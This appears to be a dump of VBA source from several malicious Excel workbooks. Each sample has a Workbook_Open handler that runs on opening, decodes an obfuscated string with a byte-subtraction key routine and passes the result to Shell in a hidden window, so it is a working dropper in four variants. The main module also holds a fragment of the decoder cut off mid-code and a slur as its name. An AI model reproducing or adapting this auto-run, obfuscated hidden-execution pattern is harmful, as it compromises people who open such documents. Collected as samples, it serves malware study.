Malicious Excel macro

REM ===== Main Module (all versions) =================================================================================================

Attribute VB_Name = "Ёта нига"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
    tyrtyaag
End Sub
y(i Mod UBound(bKey))
End If
Next i
 lqjWjFO = StrConv(bData, vbUnicode)
End Function

REM ===== Module 2 (all versions) ===================================================================================================

Attribute VB_Name = "Module2"
Public Function lqjWjFO(ByVal strData As String, ByVal strKey As String)

Dim bData() As Byte
Dim bKey() As Byte
bData = StrConv(strData, vbFromUnicode)
bKey = StrConv(strKey, vbFromUnicode)
For i = 0 To UBound(bData)
If i <= UBound(bKey) Then
bData(i) = bData(i) - bKey(i)
Else
bData(i) = bData(i) - bKey(i Mod UBound(bKey))
End If
Next i
 lqjWjFO = StrConv(bData, vbUnicode)
End Function

REM ===== Module 1 (70C17F4AED600AC8121B8301D84C632C) =============================================================================

Attribute VB_Name = "Module1"
Private Const yY1UL = "cWolIdDu"
Private Const DDuKQ = "ÆÄÓŒx¯dÅÆæÑ»·¬ÈÃÛš®Ü©ƒ½ÑÀ‘“ÅÁÔϽ„—ÜÊãѶ’’È˝îƇÏÀÔÚ½r§ÆæڵӥǝØØ®ŒkËËã܃“sš{r”Œ¢š{›sÖ»ÔۮʩÉʞЯ׷΅ÒÍ«‹pŠ|ñ–´i¿¡¸»²Ó¨É¿ØÛ’¬rƸѓrŸdÈÏßÍ·Èdˆ«´¹™‰ ­ ¾Õ¸ÈªËÀÞµ‘’§Ä¹‘©‘³|˶’³­Ò»ÕԲӍ«…Ô䮟dÖËÐÞ½„i·œ¼¼nÀŽ¬¦ØۭʬÌƸ´wɼȒ"

Sub tyrtyaag()
oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
Shell oPOJidsf, vbHide
End Sub

REM ===== Module 1 (F584A24F2423784935912FEC4C69CAC3) =============================================================================

Attribute VB_Name = "Module1"
Private Const yY1UL = "NmaYSkhE"
Private Const DDuKQ = "±ÚÅy‚¶ˆ•ÜؾžгÙ͇¸ãÍn•¯¾Ê˜·°×ƼNj»ÇàÕ¾À™¶³á°¸Í«ºÖÆÇÇ”–’ÜØÇ¿Úɲ³ÊŸ“¶áÕɍš—‡Ÿ†™ †›™‚Þ̳ÜÆ¿¸ÑÛ}ÑÇÌÆÖ–±ÎÀ’¢²®©xDz—¼ÊÈ·Ñзܪ¡ÎÉ°”Š”sÐà¾ÎϽs¼“º±~¯µ±Öн¹Óѽ¶©‡¶ÌÊn’µž »ª·ª¨¼ÚÌ´ÕÊÈœ³–³åÆ”sÞܯßÕyx¿­›½†µ´··ÜÅ¿»Ô×—µ¾ËУ"

Sub tyrtyaag()
oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
Shell oPOJidsf, vbHide
End Sub

REM ===== Module 1 (20ABED801D3E69237741BE1478807AE9) =============================================================================

Attribute VB_Name = "Module1"
Private Const yY1UL = "QvDWeTuu"
Private Const DDuKQ = "´ã¨w”Ÿ•Å廼קݶⰅÊÌÚqž’¼ÜÄ³à©ºÙtÈÊ鸼҂öêr®Ê¶¸½ß©ÅÙ}£•å»ÅÑÃÖµ¼­ÃÊ|œ¹ê¸ÇŸƒ¤‡¨rŽ›‚©„¤u™ƒèµÛ³¼Ë¹ÛÄ¥¨½ØÇàÙ¥¹Œ€œvʉ¤µyÑ›¿“ÀԸ۹߳ ­‚زØk€ tÚÉæ¥ÅÉtš¥»‘§Š°¿šÅ­Æɺݺ卟“·Ö³–i«ª¡ÅvÒŽ ´½äµÜ¬Àԝ½Û¼¼ tèÅ׶˅yɖÔ|Áž¾ ß³»Ë¼ÞÀ¿Œ…ÊÌÚŒ"
Sub tyrtyaag()
oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
Shell oPOJidsf, vbHide
End Sub

REM ===== Module 1 (725E148FE02413180043BEB27658F1C9) =============================================================================

Attribute VB_Name = "Module1"
Private Const yY1UL = "JsrfRsPb"
Private Const DDuKQ = "­àÖ†¾p²âéËÄƸ¯ßÞ”·ëµj›ÀËÉ Ÿ¬Ý×ÉÆ“£ÃææË¿¡ž¯ç ½·Õ“¶Ü×ÔÆœ~ŽâéԾⱮ¹ÛÒ·›w²çæÖŒ¢~© š€¥ƒ|¡¤–ˆ¢Ã®Øá˸ض½¢ÖÌÅæ»xÖÓÈyŸwoÇ·³¢˜¬”¼ÁÏÁ׶²Üᯚ¡³«Õ™“µÂãÓÔ¶“už¸¿¶wÏš“ÂÛÕ¶Ù¸³â»®€Ö±¬“—º—À oϼ¯¡Ü¿®ÙÚÏÁ¼˜xØêˍ“þÔäÚr˜¤À‹®½™™Üáʸ۹¹¼º”·ëµ…"

Sub tyrtyaag()
oPOJidsf = lqjWjFO(DDuKQ, yY1UL)
Shell oPOJidsf, vbHide
End Sub